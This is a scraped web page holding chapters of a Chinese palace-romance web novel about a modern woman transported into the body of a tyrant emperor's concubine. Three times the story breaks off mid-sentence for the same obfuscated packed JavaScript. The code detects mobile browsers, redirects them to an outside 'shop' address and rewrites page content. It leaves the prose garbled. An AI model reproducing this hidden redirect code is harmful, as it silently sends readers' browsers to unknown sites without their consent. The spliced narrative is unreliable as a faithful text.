“陛下,还没到三个时辰呢。”夏星辰的担心也是有理由的,尧让虽然是皇帝,但太后毕竟是他亲生母亲,即使他们关系不是很好,却也是亲生母子,又怎么会为了一个她不受宠的妃子争得面红耳赤?若真的将二人的关系越闹越僵,夏星辰就更加是罪加一等了。 到那时候,这罚跪还只是一个悲惨的开始呢! 尧让将她紧握住的衣角从她手中取出,似乎是知道她的担忧,语气里尽是不屑:“朕是天子,普天之下,朕最大,朕想做什么,还由不得旁人说三道四,况且,你也太高看你自己了,就凭你一个无足轻重的妃嫔,还不至于使得朕与太后之间的母子情分因这等小事而生了嫌隙。” 将话说完后,夏星辰亲眼看着他一步步地走进暖阁。 尧让说的话的确没错,她就是一个小小的明妃而已,即便是今日死在这里,对他们来说也只是一件小事而已;夏星辰险些忘记了,这可是一个人命如草芥的时代! “皇上驾到!” 暖阁的大门被林贤推开,与平时不同,尧让今日身着的是一件玄色常服,缓步踏入暖阁。殿内原本低语浅笑的妃嫔们在听到那四个字的时候霎时噤声,对于尧让的出现,众妃嫔脸上都带着猝不及防地诧异,目光不约而同都落在了他的身上。 让她们如此诧异的原因无非就是这些年以来,尧让可是未曾参加过一次宫宴。不请自来的驾临,可谓真是让她们措手不及! 他目不斜视地穿过人群,一步步行至太后座侧,在那仅有一把始终空着的紫檀木椅子上坐了下来,椅垫平整,仿佛这位置就是特意留着的一般。 “皇帝怎么来了?”太后侧过头看着他,脸上闪过了一丝不自在。 尧让露出了一抹浅淡的笑意:“今日没什么急务,难得清闲些,想着宫宴还未结束,朕便过来凑个热闹。” “臣妾见过陛下!”众妃嫔整齐地站起身,微微躬身说道。 “都坐下吧,今日是宫宴,不必拘束着那些繁文缛节,随意些便好。”他的语气稍缓,听不出喜怒。 “母后,儿臣来晚了,让您久等了......”尧显大步踏入暖阁,在看到太后身侧的尧让,他脸上的喜悦神情瞬间便消失了。 不仅仅是尧显脸上的喜悦消失,众嫔妃脸上也明显的出现了不自在。 尧显和众嫔妃脸上的不自在都被尧让看在眼里,尧让倚靠在紫檀木椅上,指尖一下又一下地轻扣着扶手,他微微抬眼看向尧显,嘴角勾起了一抹似有若无的笑意,那抹笑意里带着几分漫不经心,仿佛是已然预料了发生的这一幕,就连语气里都带着几分戏谑的从容。 “王兄也来了,巧得很呢,朕也是刚到。” 尧显闻言连忙躬身:“臣见过陛下,不知陛下早已在此,未能远迎,实在是臣的疏忽,望陛下恕罪。” “今日是宫宴,王兄不必如此谦逊。”他眼光扫过殿内陈设的座椅,忽然话锋一转,语气里添了一丝玩味:“嗯?朕看了看,殿内好像已经没有王兄的位置了?” 他没有理会尧显脸上的些许慌张,而是侧过头看向身旁的太后,嘴角的笑意带着几分刻意的试探:“还真是奇怪呢,您说对吧,母后?” 说罢,暖阁里的空气像是停滞了一般,他语气轻松,却让那看似无意的问话中藏了几分说不清道不明的深意。 太后没有回答他的问题,他脸上的笑意瞬间全无,冷淡道:“朕登帝五年,从未踏足这皇家宫宴,今日难得一来,便发生了如此荒谬之事;难不成......母后身旁这仅有的一把椅子是给王兄留的?” 听着尧让说出口的话,太后脸上的平静终究无法压制,逐渐被慌张取代。 “如若当真是这般,王兄是否太没有规矩了?”尧让浅浅地笑了笑:“朕是九五至尊的皇帝,而母后是天下之母的太后,王兄只是臣子,臣子怎能与太后并肩而坐?亦或者,朕这皇帝的位置,王兄想来坐坐?” 最后那句话掷地有声,这股皇威威压把得满殿妃嫔吓得垂首屏息,就连太后脸上的笑容都变得全然僵硬。 太后心里有数,她这位儿子的心思最是让她无法揣测明白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575496|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,向来都是如此。 尧显忽然下跪,额间渗出细汗,语气带着万分急切:“陛下,臣不敢有、甚至从未有过如此大逆不道的心思!母后身旁的位置,本来就该是陛下的,臣怎敢觊觎?今日之事,许是底下人操办时疏忽了位次,臣绝无半分僭越之心,还请陛下明察。” 话一说完,他深深叩首,姿态谦卑到了极致,生怕那冰冷的杀意落在自己身上。 “哦?是谁操办的今日宫宴事宜?” 殿内死寂一片,无人敢应声;他眼底的杀意更盛,一字一句地说道:“林贤,传朕的旨意,让御林军给朕查清楚了,凡经手此事的宫人内侍,以及妃嫔,通通拖下去,把头砍了。”最后那几个字,带着不容置喙的狠戾。 话音刚落,满殿妃嫔皆被吓得面色惨白,就连太后都忍不住攥紧了手中的佛珠;跪着的尧显也被尧让这位残忍的暴君吓得不敢抬起头。 “是,陛下!” “皇帝,你是不是未免太小题大做了点?”太后终究还是开了口。 “母后,您这是糊涂了?”尧让说这话时,眼底下的杀意从未减少半分。 “什么?” 尧让迎上太后那双满含怒气的双眼,语气平和的令人胆寒:“朕,是万人之上的皇帝,难道在母后心里,朕是什么痴傻之人吗?宫宴之事,以及后宫之事,是朕不愿理会,不是朕管不得......越俎代庖这四个字还需要朕一一向母后解释其中意思吗?” “你知道哀家本意并非如此,你何苦说这些话令哀家不悦?” “可母后今日的所作所为,倒是令朕不悦!朕已然是给足了母后颜面,母后只需好生接着便是。当然,若是母后管不好宫中的奴才,朕倒不介意替母后管!” 说罢,尧让便站起身,似乎是想到了另外一件事,继续开口说道:“对了,母后,朕把明妃带走了;另外,明妃是朕的妃子,往后朕不希望再从别处听到她年少时心悦于王兄这件事,明面上是在羞辱她,可暗里却是在折了朕的面子。” “皇帝做事,当真是从未与哀家商量?人说带走就带走了,既然如此独断,皇帝又何必事后留这话给哀家听。”太后很是疑惑,那明妃是如何有本事让皇帝替她解决那些流言蜚语的,又是如何能让皇帝如此维护? 不仅仅是太后,萧诗柔也对于尧让这番话感到十分愤怒,凭什么她苏清夕一个无能的废物能得皇帝的偏袒?凭什么她一出冷宫,就什么都变样了。 一想到这,她恨不得杀了她! “母后,您是朕的母亲,朕想与您说,自然会说;不想说时,便不需要任何理由。整个天下都是朕的,朕做事何须与他人说明白,再说了,朕的事,母后您向来不都是不在意的吗?过去既是如此,如今怎么倒来计较这些闲话了?” 他轻飘飘地说完这些话,便径直地朝着殿外走去,只留下太后僵在椅子上,她只觉得他这番话比这冬日寒风还要刺骨。 对于太后从未疼爱过他这件事,二人都心照不宣。 走到跪着的尧显身边时,尧让一手将他扶起身,轻轻拍了拍他的肩膀,话里有话道:“王兄不必如此惊慌,方才朕只是开了个小玩笑。不过,这毕竟是朕的皇宫,该有的规矩还是要有的,天子的脸面还是要维护的,不然,不知道的人还以为王兄要篡位呢?对吧?” 听到这话的尧显身体突然站不住,踉跄了一步。却被尧让稳稳地扶住,淡然道:“好了。各位就无需拘谨了,这宫宴继续吧,莫要浪费了御厨辛苦做的山珍海味。” 话音刚落,尧让径直地离开了暖阁。身后的众妃嫔齐声说道:“臣妾恭送陛下!” 脚步声渐远,暖阁内的众人才敢恢复了自然的呼吸。 11. 鸳鸯浴!这么刺激? 坐在软榻上的夏星辰紧紧地抱着怀里的汤婆子取暖;两名宫女正蹲在地上用热布捂着她的膝盖。渐渐地,身上的寒意已然褪去大半。 “娘娘,这是紫姑娘给您开的祛寒药,紫姑娘说了,喝下去您就舒服很多。” 宫女将手里的这碗汤药递给夏星辰,虽然不知道宫女口中的那位紫姑娘是谁,但这是皇宫,那紫姑娘不至于是坏人。 她接过那碗汤药,然后一手捏住鼻子,然后另外一只手把药往自己嘴里灌了下去;这药苦得她差点没忍住呕吐。 “我的药可是名贵得很,你别吐出来。” 夏星辰抬眼看那说话的女子,她一身紫衣,而这紫衣一看就不是皇宫的服饰,倒像是来自于民间。 “明妃娘娘,民女叫紫烟,是......陛下让民女救治你的。”她的笑容很明媚,就像是刚升起的太阳,让人看一眼就忍不住跟着开心。 这是夏星辰第一次在皇宫里见到这样的女子,她干净又热烈;宫里的妃子身上总有几分拘谨,而她一身坦荡,一眼就能看出来不同。 “多谢紫烟姑娘。” “不用谢,我倒是很好奇,我们的陛下怎么会让你来这极咸宫的?”紫烟脸上虽带着笑容,但这抹笑意却显得格外牵强。 一根筋的夏星辰很是不解她话中的意思:“这话是什么意思?极咸宫是什么禁地吗?”她是知道极咸宫是尧让的寝宫,也的确是知道旁人不可随便进入,但是,也不至于一个人都进不去这么严苛吧。 就算是有很严重的洁癖,也不至于到这个地步吧...... “倒也不是禁地,只是除了你之外,我还没有见过其他妃子能踏足这极咸宫;所以才会这般好奇。” “哦,那你习惯就好。”夏星辰从不内耗,也不喜欢去猜测别人的心思。所以,她才不管尧让为什么让她来极咸宫,也不会去问;他让她来,她就来,就这么简单。 紫烟在看到夏星辰一副无所谓的表情,便也没有将这个话题说下去的必要,自觉闭上了嘴。 尧让回到极咸宫时,便已经看到夏星辰已经恢复了生机。 一看到他的出现,夏星辰连忙缓慢站起身,顾不上膝盖传来的剧痛,躬身说道:“臣妾见过陛下。” 这皇宫里的行规礼矩对于她而言,熟悉到了极致,甚至都形成了完美的条件反射;这不禁让夏星辰想起自己以前看过的一本穿越电视剧,里面的女主角就是这样一步步被古代的文化思想同化,独立的精神意识都会一点点被洗脑,哪怕是后来回到了现代,那种思想也早就在她脑中留下不可磨灭的影响。 但,夏星辰不喜欢变成那样的自己!她也绝对不会允许自己变成那样...... “看你如此生龙活虎,想来已经无碍了。”尧让边说着边走到自己时常小憩的床榻坐下。 “那你不看看是谁救的明妃娘娘,是我啊;我的赏赐呢?呆子......陛下!”紫烟不知何时已经走到他身侧,极其自然地将手心朝上让他给赏赐,就连看向他的眼里都是藏不住的欢喜。 夏星辰这个喜欢看言情小说的现代人,一眼就看出来这个紫烟对尧让的喜欢。敢当着皇帝的面给他起外号的人,应当是非常清楚自己在皇帝心里是有分量的人。 这一刻,夏星辰在心里不禁吐槽;她要是叫尧让呆子,估计他又要像上次那样掐自己的脖子。她可不敢赌,毕竟赌博并不是什么好习惯,十赌九输这个道理她还是懂的。 那坐在床榻上的人并没有回应紫烟那明亮的眼神,而是面无表情道:“想要什么赏赐就去找林贤,他会给你的。” “好吧,那我去找他。”她识趣地将手收了回来。 “朕还有事情后要与明妃说,其他人都退下。”尧让说这话时,脸上依旧没有任何表情。 殿内的人都退下去后,他将目光落在了夏星辰身上。 又是用这样看不透的眼神看着她,每一次他这样看她,她都极其不自在,总觉得他下一刻是不是要生气了。 “陛下,您有事就直说,臣妾不知道您要做什么,万一.......” “万一什么?” “万一臣妾不小心惹您生气,您又要杀臣妾;不能每一次都打一巴掌,然后又给一颗糖,反复如此,再说了,臣妾又不能跟您吵架。”夏星辰说这话时声音还有点嘶哑,显然就是寒意并没有完全从身体褪去。 尧让眉间紧皱,他完全不知道夏星辰说的那现代话是什么意思,而且他也懒得去猜:“苏清夕,朕今日差一点就杀了王兄呢?” 他轻飘飘地说出这句话的时候,原本面无表情的脸瞬间出现了一抹戏谑的笑意;随即继续道:“瞧他那如此害怕的模样,还真是令朕愉悦;若不是这一次的宫宴,朕都不知道他的身边有如此多的拥护之人呢,一个又一个地替他打掩护,她们那副忠心的模样,还真是滑稽得很啊。” 夏星辰看到他眼底盛起的杀意;她不禁因恐惧而咽了一下口水,不知道他进去暖阁里后究竟发生了什么事情;但听他这么说,应该是发生了很不好的事情。 她只是从广播剧里听了一些这本小说的内容,不知道尧显最后有没有篡位成功,但是广播剧里说过尧让登帝年间,的确是一个民心所向的明君;虽然如此,他的结局并不是很圆满,至死都是一个人。 在那么一瞬间,夏星辰竟然有点心疼这位暴君了,拥有这般至高权利,身侧却无一真心之人。 他抬眼看向她,对上了她的视线,眸底掠过了一丝阴暗的光:“你呢?” “什么?” “你也是众多拥护者其中的一个?” “陛下明鉴,臣妾是真的不喜欢他,更不可能拥护他;臣妾不知道自己还要解释多少遍,再说了,臣妾喜欢的是陛下您这种类型啊。”夏星辰再一次抬起双手在胸口前比划了一个爱心的形状。 尧让这位暴君可比那太后难伺候多了,太后顶多是真的讨厌她,只需要不去招惹她便能得到片刻的安宁。但尧让这位皇帝可是性情无常,稍微一个不注意便引火烧身,连死都莫名其妙。 看着他脸上的表情没有任何变化,她略显尴尬地收回了自己那双比划爱心的双手。 “朕不需要你的喜欢。” 尧让轻描淡写的拒绝,再一次把她的示好毫不留情地丢进了深不见底的深渊里;说实话,这样百般讨好,夏星辰真的是累了。 强扭的瓜不甜这个道理,无论在什么年代都适用。 尧让与现代人不同,攻破一个现代人只需要满满的真心诚意,哪怕是很讨厌你的人也招架不住一次又一次的示好;而尧让却极难伺候,不仅不信任,还不给任何讨好的机会。 他又是至高无上的皇帝,可以不用讲任何道理,的确也不需要任何人的讨好! “是啊,陛下是天下最大的,哪里看得起臣妾的喜欢呢。”夏星辰语气极为的阴阳怪气,也不知道为什么,每一次跟他谈话,最后的结果总是演变成一场“斗嘴纷争”。 觉得话还没说尽兴,他还是没有任何反应。于是,她便接着一吐为快:“臣妾只是这深宫中的女子,无论陛下喜不喜欢,臣妾都必须要千方百计去讨好陛下,还要与其他妃嫔争风吃醋,即便您不需要臣妾的喜欢,臣妾还是要必须继续喜欢您;陛下您不是一直追问臣妾与尧显的事情吗?那臣妾就跟您说清楚,臣妾未入宫前,也只是一个只求一生一世一双人的寻常女子,臣妾没办法阻止臣妾钟意之人利用臣妾,亦或者不喜欢臣妾,难不成陛下认为,凭借臣妾一个小小的妃子,能颠覆得了王朝?” 夏星辰嫩这番话说的是真心话。在这等皇权比天大的森严制度下,她一个不受宠的妃子哪里有能力颠覆王朝?纵使是著名的女帝,一开始也是如履薄冰。再说了,她夏星辰一个现代废物怎么能跟伟大的女帝比,这说出去都得被人骂无知小儿...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575497|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “继续。”尧让言简意赅地说道。 “好,臣妾继续;陛下您真的不用一遍又一遍地怀疑臣妾会不会帮显王殿下,过往种种皆为过去,如今的臣妾就只是想安稳地活着,仅此而已,今日,陛下救了臣妾,臣妾会知恩图报的。” “哦?你倒是说说,怎么个知恩图报法?” 夏星辰一步步走到他身边,以防隔墙有耳,她把声音压得极低:“至少,陛下将紫烟姑娘藏在这极咸宫里,臣妾不会乱说的。” 把话说完,她将一根食指紧贴在嘴唇中间,做出了一个“闭嘴”的手势。 “很好啊,苏清夕,所以你认为你说的这个便是你知恩图报的方法,如果你认为这会造成对朕的伤害,那你便将这件事往外说,朕倒要看看,是你的嘴快,还是朕的剑快。” 得了!跟这暴君实在是聊天聊不到一块去;夏星辰重重地叹了一口气,如果她真的犯下了十恶不赦的大罪,就应该让法律来制裁她,而不是让这个暴君这般折磨她。 真要继续这样下去,作为人类的意志力都快被折磨没了。 夏星辰不想再反抗了,她朝着尧让仰起头,露出她那细白的脖颈,语气心灰意冷:“来吧,陛下您杀了我吧,痛快一点,我不想活了,反正我无论做什么,都难逃一死,这一次躲过了,下一次又不知道是什么酷刑;看在你我也算夫妻一场,就没必要互相折磨了。” “朕说过,只要你不干涉朝政,朕会留你一命;之前你说你对朕忠心,如今,朕倒是有件事需要你去做。” 她看向他的眼神里多了一丝不可置信:“只要不是违反乱纪的事情,我尽力!” “从今日起,皇宫中便不会再传出你与王兄之间的年少情谊,朕当众维护你,王兄势必会认为你已经倒戈相向;既如此,必定是要做一件令他坚信不疑之事,朕想到了一个法子。”他抬眼,对上了她疑惑的视线,嘴角勾起一抹浅淡的笑意:“鸳鸯浴。” 听到这三个字,夏星辰猛地睁大眼睛,瞳孔瞬间放大。尧让这个死变态!鸳鸯浴是什么鬼?难道是要一起洗澡?脱光光的那种?完了,敢情上次的亲吻还只是开胃菜啊?重头大菜在这里等着她呢。 原以为这暴君是个什么纯情男人,没想到竟然是个十足的变态,玩得还挺花呢! “陛下,鸳鸯浴!这么刺激吗?臣妾......臣妾没洗过,万一被人看到了,多不好意思啊。” “那这件事你是做还是不做?” 他的话夹杂着不容置喙地威严,压迫得夏星辰不得不同意:“行,我做,大不了脱嘛,有什么呢;人生来就是赤裸,变态的是你,又不是我。” 最后那句话很熟悉,夏星辰不记得在哪听过,好像是以前刷手机的时候在网上听到的一句话。当时觉得很好,还用这段文字发了个朋友圈。 “变态?那是什么东西?” 夏星辰没想到尧让会问她这个问题,她尴尬地笑了笑:“变态是......是......是一种赞扬,对!是赞扬!臣妾在夸赞陛下很变态,意思就是陛下您很帅,很棒。” “是吗?那朕也来夸赞你,你也很变态!” “......谢......谢陛下夸赞。”夏星辰咬牙切齿地接下了这个所谓的夸赞。 看着夏星辰脸上极其难看的笑容,尧让竟然觉得甚是有趣,不禁嘴角上扬。 这就是典型的搬起石头砸自己的脚!此时的夏星辰只能无奈的笑了笑,心中暗暗发誓,日后还是要谨言慎行,不能什么话都往外说,主要是这狗皇帝精明得很! 她不得不怀疑,她自己说的话,尧让不是听不懂,而是在装不懂!以前在电视上听别人说,其实古代人是很聪明的,思想境界是要比现代人高出很多的,他们并没有想象中的那么保守! 要不然,现代人也不会焦头烂额,苦苦背不出来伟大诗人李白写的所有诗句...... 12. 是你在勾引我啊 一想到要和尧让那暴君洗鸳鸯浴,夏星辰就辗转难眠;她翻来覆去,实在是没有一点睡意,便坐起身,然后就是满脑子一堆乱七八糟的想法...... “人家穿书都是有什么系统、什么金手指帮忙的,或者了解小说的剧情走向;怎么到了我自己身上,就是临时发挥了?话说,当时广播剧里也没有提过这小说的名字呢,难道是我自己没听到?给忘了?”夏星辰自言自语道,言语里夹杂着想思考些什么出来,却愣是什么也想不出来。 “没有系统帮忙,也不知道这本小说的结局,连回去现代的方法也是一无所知......好好好,把我当小日子人整呢!”说着说着便没出息地打了一个哈欠。 也不知道是谁希望自己有穿越能力,但此时的夏星辰是绝对不想的。这哪里是能力,这分明就是诅咒! 接着,抱着想不出来就不想的思想,直直往后倒去,一秒入睡! 虽然尧让跟她说过鸳鸯浴这件事,但一直过了两天的时间都没见他差人来找自己;索性,她便没把这件事放在心上,直到第五天。 “哎呀呀,洗完澡就是神清气爽啊,小莲,有没有吃的呀,我嘴痒痒。”夏星辰推开房间门,映入眼帘的便是倒在地上不省人事的小莲。 “小莲,小莲,你怎么……” 话还没说完,她就看到了从角落走出来的一身黑衣的百里,虽然只有一面之缘,但毕竟也算间接救过她的,所以印象还算深刻。 “属下见过娘娘。娘娘放心,她没事,只是被属下打昏了而已,请随属下移步,陛下已在等着了。”百里躬身说道。 好吧,还以为那暴君把这件事忘记了,这大半夜让她过去,能是什么好事!虽然心里抗拒,但又无法拒绝。 在这制度森严的皇宫,小人物哪有什么拒绝的权利! 跟着百里一路来到极咸宫,夏星辰很快便发现,他并没有把自己带进极咸宫内,而是往极咸宫旁边的一处庭院走去。 随着庭院的门被推开,百里立即停下脚步,身后站着的夏星辰被眼前的场景惊呆了。 她第一次亲眼所见古代皇室泡澡的汤池,汤池里的热气一缕缕地往上冒,瞬间将整个带着凉意的空间彻底填满,人站在其中,仿佛是被温暖的热浪托住,使得整个身体都变得极为舒服。 “娘娘,劳烦您在此候着,陛下片刻就到。”百里简单地禀报了一声,微微躬身行了一礼,随即便轻手轻脚地退了出去。 正在原地不知所措时,她听到身后有声响,下意识地转过身,忽然撞进了一个人的怀里;她抬头看去,正是狗皇帝尧让。 “朕还真是很好奇,你怎么每一次都这般的毛手毛脚!” 但此时夏星辰的注意力全放在尧让身上,他穿着一件半透的白色里衣,衣料薄如蝉翼,将他完美的身形轮廓展现得若隐若现。她的目光不自觉地在他的身材处游走;汤池的热气本来就蒸得她脸颊发烫,此刻心跳也跳动得越来越快,脸颊上的那抹红蔓延到了耳根,她发觉,这氛围实在是越发的暧昧。 主要是......夏星辰的自制力并不是很好。以前都是在手机上刷什么腹肌男的视频,现在人就在自己面前,难免有点心慌马乱...... 尧让顺着她的目光低下头,发现她一直盯着自己的上半身看着,冷笑一声:“苏清夕,你再看,朕就把你的眼珠子给挖出来。” 他的威胁让犯花痴的夏星辰连忙闭上了眼睛:“不不不,不看了不看了。” 在她还闭着眼的时候,身后忽然传来了衣料浸水声。 她睁开眼回过身,看到尧让竟已踏入汤池,温热的池水浸过他的腰间,将那件本来就轻薄的白色里衣彻底浸透,被浸湿的里衣此刻正紧紧贴在身上,每一寸肌理轮廓都在她眼前清晰和分明了起来;这般刺激的画面让她骤然屏住了呼吸,连目光都不知道该往他身上的哪个地方落。 还真的别说呢,这狗皇帝的身材真的是很好,平时也不知道是怎么锻炼的。此时夏星辰的脑子里满是以前男同事们苦苦抱怨自己健身两三年也没什么成果的模样...... 没有对比就没有伤害!这句话在此刻显得非常有道理。 “愣着做什么?下来!”浸在池水里的尧让看着她,命令道。 “陛......陛下,您认真的吗?一起洗澡会不会......会不会过不了审?” “下来!”不容拒绝的命令再次砸在她身上,加上尧让那不可商量的模样,她也不敢再说些什么了。 于是,夏星辰重重地呼出一口气,心里给自己暗戳戳加油打气后便一步步走进汤池里,就在她还沉浸在慌张害怕的情绪之中时,眼睛一瞥,忽然看到了缩在窗户外的小太监正鬼鬼祟祟地往里窥望。 她心头一紧,刚要开口出声提醒,却被尧让猛地攥住了手腕,紧接着,她整个人就猝不及防地跌入了他温热的怀抱中。这一抱,尧让的身体瞬间僵住了,他忍住了身体传来的那种不适感;随即便刻意抬高了声音让那小太监听清楚:“苏清夕,朕今日便允诺于你,只要你怀上龙嗣,这皇后之位便是你的。” 果然,那躲在暗处的小太监听到了自己想听到的之后便悄无声息地离开了。 下一刻,夏星辰突然用力推开他,身子踉跄着后退了半步,脸上的羞涩早已被惊慌失措取代,双手在身前疯狂地摆动着,声音带着强烈的颤音:“陛下!您听我解释,不是的,我不是故意的,方才是因为......因为意外才碰到你的。” 想到自己突然被尧让抱在怀里,然后手不小心打到了他脆弱敏感的地方;上一次因为自己强吻他,差点被他掐死;眼下又碰到了不该碰的地方,自知已经完蛋了。 此时此刻,夏星辰俨然一副等待被凌迟处死的绝望模样...... “对不起,陛下,臣妾错了。”她低下头不敢再看他,声音也越来越小。 尧让看她可怜巴巴地模样,无奈的叹了一口气,随即开口说道:“你离开吧。” 看他没有龙颜大怒,夏星辰半信半疑地从汤池中退出来;刚踏上青石砖,便想起自己现在全身都湿透了,就这样走出去不太适合;然后就转过身,这一转身,她愣在了原地;目光不受控制地落于在水池中站起身的尧让那需要打码的地方上。 随后,汤池殿内便传来一声怒吼:“苏清夕!” “不是,我真不是故意的,我只是想跟陛下你说我全身湿透了,这样出去不适合,仅此而已,我不知道陛下你站起来了。再说了,你大半夜的,为什么要穿一件这么单薄的衣服啊,明明是你在勾引我啊。”她拼了命解释道,随即侧过头收回了目光。 “所以,你是在说朕错了?” 夏星辰深知自己在这种时候可不能惹他生气,便小声地为自己辩驳:“发生这种事,你自己也有责任啊。” “大声点!”尧让似乎是怒气还未消。 “是臣妾错了,臣妾不该......” 话只说了一半,夏星辰便又被尧让一把搂在怀里;她还没反应过来的时候,只见他另外一只手猛地抽出悬挂在柱子上的宝剑。 寒光乍现,他手臂急挥,剑刃带起凌厉的风,将四面八方射来的冷箭尽数击落,箭矢坠落在池边的青石砖上,发出密集的脆响。 怀里的夏星辰看到这一幕,当真是被吓坏了,她的身体瞬间瘫软,紧紧地攥着他身上的衣裳;尧让却猛地一把将她推开,看向她的眼神尽是嫌弃与不屑。 片刻后,殿门被轻轻推开,百里识趣地站在门口,手里捧着一件玄色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575498|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗篷,随即躬身禀报。 “陛下,外面的弓箭手已尽数被斩杀,搜遍全身也未找到信物,属下无能,暂时没能查出是谁主使的这场暗杀。” “把斗篷掷过来。” 下一刻,尧让稳稳接过百里掷过来的斗篷,微微扬臂,那一袭玄色斗篷便顺势落在肩头,边缘也随着他的动作轻扬,而后,便随手将系带系在颈间。他的目光扫过青石砖上散落的箭矢,带着几分嘲弄的冷冽语气:“还需要查吗?这世上,想要朕死的人,难道还少吗?” 话落,殿外便传来一阵声音。 “陛下,陛下!您没事吧?奴才、奴才救驾来迟,罪该万死!”林贤冲进殿内,刚站稳便“噗通”一声跪了下去;因跑得太快,袍角还沾着些许尘土。 “把你的狗眼闭上。”尧让命令道。 “是!”林贤低下头,双眼紧闭着。他心里不禁暗骂自己为何这般失了分寸擅闯进来,皇帝与妃子之间的嬉戏哪里是他能看的。 尧让侧过头看了一眼瘫坐在地上的苏清夕,身为九五至尊的他再一次蹲在她身前,缓缓开口:“苏清夕,你还当真是变成了内宅女子啊。你可知你兄长年纪轻轻便已是赫赫有名的少年将军,你父亲以及你祖父祖母,都是驰骋沙场的英勇将士,哪怕是身死也绝不跪下。” “朕记得,你年少时便说过,将军之女也要英姿飒爽。如今,怎的变成了这般?这般贪生怕死,这般的眼盲心瞎;知道朕为什么留你一条命吗?是因为朕不想寒了苏老将军的心,毕竟,他只有你这么一个女儿,即便你是废物,也是打断手脚连着筋的血脉关系;只要你安分守己,不干涉朝政之事,朕不会杀你。” 瘫坐在地上的夏星辰流下了眼泪,尧让这番话使她的脑海里出现的再也不是原主苏清夕的记忆,而是过往发生在她自己身上的事情。她抬眼看着眼前的尧让,微微点点头:“是,陛下,臣妾受教了;若无事,臣妾先告退了。” 夏星辰深吸一口气,双手撑着地面站起身,湿透的衣裳紧紧地贴在身上,寒意顺着肌肤一点点往里钻,风一吹,她忍不住打了一个寒颤;下一秒便连忙伸出双臂环抱住自己,双手在冰凉的手臂上来回摩擦着,指尖用力地搓过每一寸发冷的肌肤,试图从这徒劳的动作里得到一丝微薄的暖意。 她此刻已经顾不上什么体面难堪,心头只剩下一个念头,那就是离开这里。踩着满地的狼藉一步步朝着殿外走去,每走一步,那道背影在摇曳的烛火下显得单薄又倔强。 “站住!” 尧让的声音不高,却带着不容置疑的威严。她脚步一顿,硬生生地停在了原地。 他站起身走到她的身前,抬手解下了自己肩头的斗篷,不由分说地将她裹了进去,温暖的绒毛贴着她湿透的衣衫,竟然让她微微一颤,她不知道他又要做什么。 尧让垂眸看着她紧抿的唇和眼底未散去的倔强,语气里带着几分说不清的意味:“朕倒是好奇了,在朕的面前你便这般嚣张倔强,偏偏是太后让你受罚,你便乖乖跪足三个时辰,看来,还是太后更有震慑力啊。” “陛下说笑了,无论是陛下还是太后,臣妾都得罪不起,陛下和太后让臣妾做的事情,即便是再荒唐的要求,臣妾也断然没有拒绝的道理;若陛下让臣妾跪足三个时辰,也不是不可以。”她缓慢抬眸迎上他那双看不透的双眼,眼底却无半分笑意,只剩下一片平静的疏离。 “苏清夕,你这是在试探朕?”尧让弯下腰,冷笑道:“亦或者,你是在赌你在朕心中有多少分量?” 夏星辰低声说道:“臣妾不敢。放眼整个天下,谁敢妄自猜测自己在皇帝心中的分量?而且......” “而且什么?” “而且陛下也不见得是会在乎这种虚无缥缈东西的人。” 13.既得利益者 “你......”尧让竟一时语塞,他索性不再跟她说什么话;便将目光落在一旁的林贤身上,沉声道:“林贤,备朕的龙轿,送她回去。” “是,陛下!”林贤这才敢睁开眼,随即缓慢站起身。 “多谢陛下,臣妾告退。”夏星辰谢了隆恩之后便径直走了出去。 夏星辰倚靠在龙轿上,脑子里全是那狗皇帝说的话,虽然他说的那些话是说给原主苏清夕的,但她又不是苏清夕,她是夏星辰,不属于这个时代的夏星辰。 而她这个现代人,却是实实在在地听进去了...... 在她的印象中,也有人这样对她说过同样的话;夏星辰毕业于人们口中的那种好大学,也是别人口中的那种“邻居家小孩”。 但,纵使在别人眼中那般的优秀,好像也没把生活过得很好。反而乱七八糟,一地鸡毛...... 原来萦绕在耳边的“真是个聪明的孩子”,逐渐演变成了“人家能看得上你,是你的福气,你有什么资格挑三拣四!” 也不知道从什么时候开始,她就变成了售货架上的那个被贬值的螃蟹;最终的结局不是回到深海,而是“价高者得”。 可明明,她也曾是被亲生父亲捧在手心疼爱的“公主”,也与其他父亲一般,会时常赞扬女儿。所以她的名字里才会有‘星辰’二字,只因为她父亲希望她的人生‘闪耀如星辰’。 可惜一切却如黄粱一梦...... “哲学家总是说,上帝给你关了一扇窗,就会给你打开另外一扇窗。可好像,上帝忘记给我开窗了,然后我就我把我自己变成了一个眼盲心瞎的人,突然发现,我好像什么也没做成呢。” 冥冥之中,她与苏清夕在某种程度上是有些相似之处的,就比如都擅长于将一手好牌打得稀烂! 